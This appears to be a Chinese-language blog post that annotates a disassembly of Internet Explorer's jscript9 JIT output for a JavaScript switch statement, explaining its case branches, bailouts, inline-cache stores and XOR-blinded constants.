031e0037 c6051cb7fc0001  mov     byte ptr ds:[0FCB71Ch],1
031e003e c6053ab6fc0003  mov     byte ptr ds:[0FCB63Ah],3
031e0045 8b05086e9b02    mov     eax,dword ptr ds:[29B6E08h]
031e004b 8b8008060000    mov     eax,dword ptr [eax+608h]
031e0051 c6053ab6fc0000  mov     byte ptr ds:[0FCB63Ah],0
031e0058 803d1cb7fc0001  cmp     byte ptr ds:[0FCB71Ch],1
031e005f 0f85ea000000    jne     031e014f

031e0065 47              inc     edi
031e0066 a801            test    al,1
031e0068 0f85fa000000    jne     031e0168

031e006e 813858d6865d    cmp     dword ptr [eax],offset jscript9!Js::JavascriptNumber::`vftable' (5d86d658)
031e0074 0f85fb000000    jne     031e0175

031e007a f20f104008      movsd   xmm0,mmword ptr [eax+8]

031e007f f20f100d7c840101 movsd   xmm1,mmword ptr ds:[101847Ch]
031e0087 660f2ec1        ucomisd xmm0,xmm1
031e008b 0f8a06000000    jp      031e0097

031e0091 0f841d000000    je      031e00b4

031e0097 f20f100d64840101 movsd   xmm1,mmword ptr ds:[1018464h]
031e009f 660f2ec1        ucomisd xmm0,xmm1
031e00a3 0f8a6a000000    jp      031e0113

031e00a9 0f843a000000    je      031e00e9

031e00af e95f000000      jmp     031e0113

031e00b4 b96614a1c1      mov     ecx,0C1A11466h
031e00b9 81f1abbe29a7    xor     ecx,0A729BEABh
031e00bf 8bc1            mov     eax,ecx
031e00c1 b928602701      mov     ecx,1276028h
031e00c6 8b15046e9b02    mov     edx,dword ptr ds:[29B6E04h]
031e00cc 83ca04          or      edx,4
031e00cf 3b11            cmp     edx,dword ptr [ecx]
031e00d1 0f85ad000000    jne     031e0184

031e00d7 8b15086e9b02    mov     edx,dword ptr ds:[29B6E08h]
031e00dd 0fb74906        movzx   ecx,word ptr [ecx+6]
031e00e1 89048a          mov     dword ptr [edx+ecx*4],eax
031e00e4 e97cffffff      jmp     031e0065

031e00e9 8bc6            mov     eax,esi
031e00eb b928602701      mov     ecx,1276028h
031e00f0 8b15046e9b02    mov     edx,dword ptr ds:[29B6E04h]
031e00f6 83ca04          or      edx,4
031e00f9 3b11            cmp     edx,dword ptr [ecx]
031e00fb 0f85a2000000    jne     031e01a3

031e0101 8b15086e9b02    mov     edx,dword ptr ds:[29B6E08h]
031e0107 0fb74906        movzx   ecx,word ptr [ecx+6]
031e010b 89048a          mov     dword ptr [edx+ecx*4],eax
031e010e e952ffffff      jmp     031e0065

031e0113 b9175d2593      mov     ecx,93255D17h
031e0118 81f19e3b61b1    xor     ecx,0B1613B9Eh
031e011e 8bc1            mov     eax,ecx
031e0120 b928602701      mov     ecx,1276028h
031e0125 8b15046e9b02    mov     edx,dword ptr ds:[29B6E04h]
031e012b 83ca04          or      edx,4
031e012e 3b11            cmp     edx,dword ptr [ecx]
031e0130 0f858c000000    jne     031e01c2

031e0136 8b15086e9b02    mov     edx,dword ptr ds:[29B6E08h]
031e013c 0fb74906        movzx   ecx,word ptr [ecx+6]
031e0140 89048a          mov     dword ptr [edx+ecx*4],eax
031e0143 e91dffffff      jmp     031e0065

031e0148 5b              pop     ebx
031e0149 5e              pop     esi
031e014a 5f              pop     edi
031e014b 8be5            mov     esp,ebp
031e014d 5d              pop     ebp
031e014e c3              ret

031e014f c7055c83010104000000 mov dword ptr ds:[101835Ch],4
031e0159 6804830101      push    1018304h
031e015e e8fde2775a      call    jscript9!LinearScanMD::SaveAllRegistersAndBailOut (5d95e460)
031e0163 e9e0ffffff      jmp     031e0148

031e0168 8bc8            mov     ecx,eax
031e016a d1f9            sar     ecx,1
031e016c f20f2ac1        cvtsi2sd xmm0,ecx
031e0170 e90affffff      jmp     031e007f

031e0175 689c820101      push    101829Ch
031e017a e8e1e2775a      call    jscript9!LinearScanMD::SaveAllRegistersAndBailOut (5d95e460)
031e017f e9c4ffffff      jmp     031e0148

031e0184 50              push    eax
031e0185 6a02            push    2
031e0187 68b0790101      push    10179B0h
031e018c 50              push    eax
031e018d 688c030000      push    38Ch
031e0192 53              push    ebx
031e0193 6828602701      push    1276028h
031e0198 e8837f825a      call    jscript9!Js::JavascriptOperators::PatchPutRootValueNoLocalFastPath<Js::InlineCache> (5da08120)
031e019d 58              pop     eax
031e019e e9c2feffff      jmp     031e0065

031e01a3 50              push    eax
031e01a4 6a02            push    2
031e01a6 68b0790101      push    10179B0h
031e01ab 50              push    eax
031e01ac 688c030000      push    38Ch
031e01b1 53              push    ebx
031e01b2 6828602701      push    1276028h
031e01b7 e8647f825a      call    jscript9!Js::JavascriptOperators::PatchPutRootValueNoLocalFastPath<Js::InlineCache> (5da08120)
031e01bc 58              pop     eax
031e01bd e9a3feffff      jmp     031e0065

031e01c2 50              push    eax
031e01c3 6a02            push    2
031e01c5 68b0790101      push    10179B0h
031e01ca 50              push    eax
031e01cb 688c030000      push    38Ch
031e01d0 53              push    ebx
031e01d1 6828602701      push    1276028h
031e01d6 e8457f825a      call    jscript9!Js::JavascriptOperators::PatchPutRootValueNoLocalFastPath<Js::InlineCache> (5da08120)
031e01db 58              pop     eax
031e01dc e984feffff      jmp     031e0065

这么长? 想一想,不充钱你能变得更强吗? 呸,不按块看能看懂吗

031e014f 之后的全是对象的cache,暂时不用看,typecho的markdown还是够屎的,所以只好不弄成嵌套的markdown了

031e0065 47              inc     edi
031e0066 a801            test    al,1
031e0068 0f85fa000000    jne     031e0168

031e006e 813858d6865d    cmp     dword ptr [eax],offset jscript9!Js::JavascriptNumber::`vftable' (5d86d658)
031e0074 0f85fb000000    jne     031e0175

031e007a f20f104008      movsd   xmm0,mmword ptr [eax+8] <--0x11223344

031e007f f20f100d7c840101 movsd   xmm1,mmword ptr ds:[101847Ch] <-- 0x11223344
031e0087 660f2ec1        ucomisd xmm0,xmm1
031e008b 0f8a06000000    jp      031e0097  <-- next case

031e0091 0f841d000000    je      031e00b4  <-- case 0x11223344

031e0097 f20f100d64840101 movsd   xmm1,mmword ptr ds:[1018464h]  <-- case 0x33445566
031e009f 660f2ec1        ucomisd xmm0,xmm1
031e00a3 0f8a6a000000    jp      031e0113  <--default

031e00a9 0f843a000000    je      031e00e9 <--case 0x33445566

031e00af e95f000000      jmp     031e0113  <--default

031e00b4 b96614a1c1      mov     ecx,0C1A11466h  <--case 0x11223344: k = 0x33445566;
031e00b9 81f1abbe29a7    xor     ecx,0A729BEABh
031e00bf 8bc1            mov     eax,ecx
031e00c1 b928602701      mov     ecx,1276028h
031e00c6 8b15046e9b02    mov     edx,dword ptr ds:[29B6E04h]
031e00cc 83ca04          or      edx,4
031e00cf 3b11            cmp     edx,dword ptr [ecx]
031e00d1 0f85ad000000    jne     031e0184

031e00d7 8b15086e9b02    mov     edx,dword ptr ds:[29B6E08h]
031e00dd 0fb74906        movzx   ecx,word ptr [ecx+6]
031e00e1 89048a          mov     dword ptr [edx+ecx*4],eax
031e00e4 e97cffffff      jmp     031e0065

031e00e9 8bc6            mov     eax,esi  <--case 0x33445566: 被预测到这是一个无效的中间case,所以连赋值操作都被优化掉了
031e00eb b928602701      mov     ecx,1276028h
031e00f0 8b15046e9b02    mov     edx,dword ptr ds:[29B6E04h]
031e00f6 83ca04          or      edx,4
031e00f9 3b11            cmp     edx,dword ptr [ecx]
031e00fb 0f85a2000000    jne     031e01a3

031e0101 8b15086e9b02    mov     edx,dword ptr ds:[29B6E08h]
031e0107 0fb74906        movzx   ecx,word ptr [ecx+6]
031e010b 89048a          mov     dword ptr [edx+ecx*4],eax
031e010e e952ffffff      jmp     031e0065

031e0113 b9175d2593      mov     ecx,93255D17h <-- default: k=0x11223344;
031e0118 81f19e3b61b1    xor     ecx,0B1613B9Eh
031e011e 8bc1            mov     eax,ecx
031e0120 b928602701      mov     ecx,1276028h
031e0125 8b15046e9b02    mov     edx,dword ptr ds:[29B6E04h]
031e012b 83ca04          or      edx,4
031e012e 3b11            cmp     edx,dword ptr [ecx]
031e0130 0f858c000000    jne     031e01c2

031e0136 8b15086e9b02    mov     edx,dword ptr ds:[29B6E08h]
031e013c 0fb74906        movzx   ecx,word ptr [ecx+6]
031e0140 89048a          mov     dword ptr [edx+ecx*4],eax
031e0143 e91dffffff      jmp     031e0065  //<--while